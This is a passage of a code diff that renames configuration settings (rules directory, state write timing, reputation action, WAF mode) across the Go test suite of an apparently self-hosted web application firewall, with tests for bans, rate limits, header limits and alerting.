lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
localhost = "127.0.0.1"
|
||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
||||
stateDir = "SWW_WAF_STATE_DIR"
|
||||
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
|
||||
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
|
||||
cacheDir = "SWW_WAF_CACHE_DIR"
|
||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
rulesDir = "SWW_WAF_RULES_DIR"
|
||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
|
||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
||||
@@ -246,9 +246,9 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
|
||||
out := &output{}
|
||||
|
||||
status := run(t.Context(), map[string]string{
|
||||
listenAddr: taken.Addr().String(),
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
listenAddr: taken.Addr().String(),
|
||||
stateDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Errorf("exit status %d, want 1", status)
|
||||
@@ -268,9 +268,9 @@ func TestServesUntilToldToStop(t *testing.T) {
|
||||
|
||||
go func() {
|
||||
exited <- run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
}, out)
|
||||
}()
|
||||
|
||||
@@ -320,7 +320,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
||||
exited <- run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
||||
"SWW_WAF_LOG_LEVEL": "warn",
|
||||
}, out)
|
||||
@@ -361,7 +361,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
}
|
||||
@@ -398,12 +398,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
rateLimitPerDay: "2",
|
||||
// Neither comes due in the test: the files are written as
|
||||
// sww stops.
|
||||
bansWriteDelay: "1h",
|
||||
stateWriteInterval: "1h",
|
||||
stateWriteDelay: "1h",
|
||||
stateCounterInterval: "1h",
|
||||
}
|
||||
|
||||
// The two requests a day allows, and a stop.
|
||||
@@ -434,7 +434,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
rateLimitPerDay: "1",
|
||||
scope: "24",
|
||||
}
|
||||
@@ -478,13 +478,13 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
|
||||
|
||||
dir := t.TempDir()
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
rulesDir: t.TempDir(),
|
||||
// No write comes due in the test, so only the watch on the
|
||||
// directory can take the edits in.
|
||||
bansWriteDelay: "1h",
|
||||
stateWriteInterval: "1h",
|
||||
stateWriteDelay: "1h",
|
||||
stateCounterInterval: "1h",
|
||||
}
|
||||
|
||||
runUntilStopped(t, env, func(url string) {
|
||||
@@ -508,14 +508,14 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
|
||||
|
||||
dir := t.TempDir()
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
adminToken: adminSecret,
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
rulesDir: t.TempDir(),
|
||||
adminToken: adminSecret,
|
||||
// Neither comes due in the test: the files are written as
|
||||
// sww stops.
|
||||
bansWriteDelay: "1h",
|
||||
stateWriteInterval: "1h",
|
||||
stateWriteDelay: "1h",
|
||||
stateCounterInterval: "1h",
|
||||
}
|
||||
|
||||
runUntilStopped(t, env, func(url string) {
|
||||
@@ -551,9 +551,9 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
|
||||
|
||||
dir := t.TempDir()
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: dir,
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
rulesDir: dir,
|
||||
// The requests sent until the rule takes effect must not break a
|
||||
// rate limit, whose ban would refuse them too.
|
||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
||||
@@ -602,17 +602,13 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||
|
||||
wantRulesRefused(
|
||||
t,
|
||||
dir,
|
||||
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
||||
": no such file or directory",
|
||||
)
|
||||
wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
||||
": no such file or directory")
|
||||
}
|
||||
|
||||
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||
@@ -624,7 +620,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||
out := &output{}
|
||||
|
||||
status := run(t.Context(), map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
@@ -656,8 +652,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
|
||||
out := &output{}
|
||||
|
||||
status := run(t.Context(), map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
"SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff,
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
"SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
|
||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
@@ -679,7 +675,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
lookupSource: "file",
|
||||
@@ -792,7 +788,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
cacheDir: cache,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
"SWW_WAF_BLOCKLIST_URLS": torURL,
|
||||
@@ -878,7 +874,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
cacheDir: cache,
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
|
||||
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||
}
|
||||
@@ -961,7 +957,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
lookupSource: "file", lookupDBPath: path,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
@@ -996,7 +992,7 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
||||
}
|
||||
|
||||
@@ -1053,14 +1049,14 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
||||
}()
|
||||
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
|
||||
String(),
|
||||
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1",
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
"SWW_WAF_LOG_REMOTE_BUFFER": "1",
|
||||
metricsToken: token,
|
||||
instanceName: instance,
|
||||
}
|
||||
|
||||
out := runUntilStopped(t, env, func(url string) {
|
||||
@@ -1131,7 +1127,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
ruleFilesDir: rules,
|
||||
rulesDir: rules,
|
||||
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
||||
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
||||
instanceName: instance,
|
||||
@@ -1237,7 +1233,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
rateLimitPerDay: "1",
|
||||
// The metrics are read from 127.0.0.1, which no limit counts.
|
||||
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
||||
@@ -1331,7 +1327,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
||||
}, out)
|
||||
if status != 1 {
|
||||
@@ -1360,7 +1356,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Fatalf("exit status %d, want 1", status)
|
||||
@@ -1390,7 +1386,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
|
||||
out := &output{}
|
||||
|
||||
status := run(ctx, map[string]string{
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir,
|
||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
|
||||
}, out)
|
||||
if status != 1 {
|
||||
t.Fatalf("exit status %d, want 1", status)
|
||||
@@ -1462,8 +1458,8 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: dir,
|
||||
"SWW_WAF_MODE": "enforce",
|
||||
bansWriteDelay: "10s",
|
||||
stateWriteInterval: "15m",
|
||||
stateWriteDelay: "10s",
|
||||
stateCounterInterval: "15m",
|
||||
"SWW_WAF_ALLOW_NETS": "",
|
||||
rateLimitExemptNets: "",
|
||||
"SWW_WAF_DENY_NETS": "",
|
||||
@@ -1476,11 +1472,11 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
||||
"SWW_WAF_BAN_RESPONSE": "403",
|
||||
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
||||
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d",
|
||||
"SWW_WAF_MAX_BAN_DURATION": "7d",
|
||||
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
||||
"SWW_WAF_MAX_BANS": "5000",
|
||||
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
||||
"SWW_WAF_RULE_FILES_ENABLED": "true",
|
||||
"SWW_WAF_RULES_ENABLED": "true",
|
||||
}
|
||||
|
||||
for name, value := range want {
|
||||
|
||||
@@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) {
|
||||
listenAddr+"="+localhost+":0",
|
||||
stateDir+"="+dir,
|
||||
cacheDir+"="+dir,
|
||||
ruleFilesDir+"="+t.TempDir(),
|
||||
rulesDir+"="+t.TempDir(),
|
||||
lookupSource+"=off")
|
||||
|
||||
exited := startProcess(t, cmd)
|
||||
@@ -278,9 +278,9 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
}
|
||||
|
||||
runWAF(t, env, func(addr string) {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package waf
|
||||
|
||||
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION.
|
||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
|
||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||
// the score, when its score of the client is a hit, and refuses the request
|
||||
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While
|
||||
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||
// checked in the background, by the request's address, if its history counts
|
||||
// an offence, and the request does not wait for the answer. The score is then
|
||||
@@ -54,7 +54,7 @@ func (abuseIPDB) check(
|
||||
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
|
||||
)
|
||||
|
||||
if rq.h.config.DNSBLAbuseIPDBAction != deny {
|
||||
if rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
netblock := netip.MustParsePrefix(client + "/32")
|
||||
@@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "2",
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
@@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
||||
s, _, _, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "2",
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
alertMaxPerHour: "2",
|
||||
})
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
||||
client: netip.MustParseAddr("203.0.113.9"),
|
||||
lookedUp: true,
|
||||
},
|
||||
h: &handler{config: &config.WAF{LookupSource: "geojs"}},
|
||||
h: &handler{config: &config.Config{LookupSource: "geojs"}},
|
||||
}
|
||||
|
||||
defer func() {
|
||||
|
||||
@@ -21,11 +21,11 @@ import (
|
||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||
// count.
|
||||
const (
|
||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_"
|
||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||
anomalyWatch = "SWW_WAF_WATCH_"
|
||||
|
||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||
@@ -37,7 +37,7 @@ const (
|
||||
const (
|
||||
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
||||
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS"
|
||||
watchNets = "SWW_WAF_WATCH_NETS"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
||||
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
||||
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
||||
{
|
||||
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
||||
},
|
||||
} {
|
||||
@@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
||||
t.Run(setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{setting: value, watchedNets: office}
|
||||
env := map[string]string{setting: value, watchNets: office}
|
||||
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
||||
start := clk.Now()
|
||||
|
||||
@@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
||||
// With every threshold off, nothing is counted.
|
||||
s, server, queue := startWithLookups(
|
||||
t,
|
||||
map[string]string{watchedNets: office},
|
||||
map[string]string{watchNets: office},
|
||||
)
|
||||
|
||||
for range 5 {
|
||||
@@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
||||
|
||||
// With one set, its count alone is counted, in its scope alone.
|
||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||
anomalyNet + requestsPerMinute: aLot, watchedNets: office,
|
||||
anomalyNet + requestsPerMinute: aLot, watchNets: office,
|
||||
})
|
||||
|
||||
for range 5 {
|
||||
@@ -348,7 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
||||
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
lookupTimeout: "1h",
|
||||
anomalyASN + requestsPerMinute: aLot,
|
||||
})
|
||||
server.Store(started)
|
||||
@@ -379,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
||||
t,
|
||||
readAndAnswer,
|
||||
map[string]string{
|
||||
anomalyWatchedNet + requestsPerMinute: aLot,
|
||||
watchedNets: office + ",wide=203.0.0.0/16" +
|
||||
anomalyWatch + requestsPerMinute: aLot,
|
||||
watchNets: office + ",wide=203.0.0.0/16" +
|
||||
",other=198.51.100.0/25",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -29,13 +29,13 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
// answerTimeLimit is the default of rproxy's
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer.
|
||||
// answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
|
||||
// waf has to answer.
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
||||
// defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||
defaultDNSBLAbuseIPDBWait = 2 * time.Second
|
||||
// defaultReputationWait is the default of SWW_WAF_REPUTATION_TIMEOUT.
|
||||
defaultReputationWait = 2 * time.Second
|
||||
// The header limits SPEC.md gives.
|
||||
cookieLimit = 50
|
||||
headerFieldLimit = 100
|
||||
@@ -80,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
@@ -160,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
tc.make(req)
|
||||
|
||||
@@ -195,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, env := range []map[string]string{
|
||||
{coreRuleSetMode: off},
|
||||
{coreRuleSetMode: "detect"},
|
||||
{coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
||||
{wafMode: off},
|
||||
{wafMode: "detect"},
|
||||
{wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
||||
} {
|
||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -217,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||
s := startWAF(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block, allowNets: client},
|
||||
map[string]string{wafMode: block, allowNets: client},
|
||||
)
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
@@ -228,11 +228,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(
|
||||
t,
|
||||
"",
|
||||
map[string]string{mode: observe, coreRuleSetMode: block},
|
||||
)
|
||||
s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
@@ -302,7 +298,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
||||
},
|
||||
{
|
||||
"a DNS blocklist", map[string]string{
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
|
||||
},
|
||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||
@@ -310,7 +306,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
||||
},
|
||||
{
|
||||
"AbuseIPDB",
|
||||
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
|
||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||
loadScores(server, map[string]int64{client: 80})
|
||||
@@ -329,9 +325,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
||||
leaveAsItIs,
|
||||
},
|
||||
{
|
||||
"a block rule",
|
||||
map[string]string{ruleFilesDir: writeRules(t, testRules)},
|
||||
"/blocked",
|
||||
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
|
||||
leaveAsItIs,
|
||||
},
|
||||
} {
|
||||
@@ -372,9 +366,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
|
||||
t,
|
||||
map[string]standInRoute{client: {prefixDE, 64496}},
|
||||
),
|
||||
dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog,
|
||||
ruleFilesDir: writeRules(t, "noted path log ^/\n"),
|
||||
coreRuleSetMode: block,
|
||||
dnsblZones: dnsblZone, reputationAction: actionLog,
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"),
|
||||
wafMode: block,
|
||||
})
|
||||
loadLists(t, s.server, map[string][]string{vpnList: {client}})
|
||||
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
|
||||
@@ -432,9 +426,7 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||
// not wait.
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{
|
||||
unknownCountryLimitPercent: "0",
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "1",
|
||||
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
|
||||
})
|
||||
countClient(t, s.server, s.clock.Now())
|
||||
|
||||
@@ -467,7 +459,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
|
||||
// not wait.
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
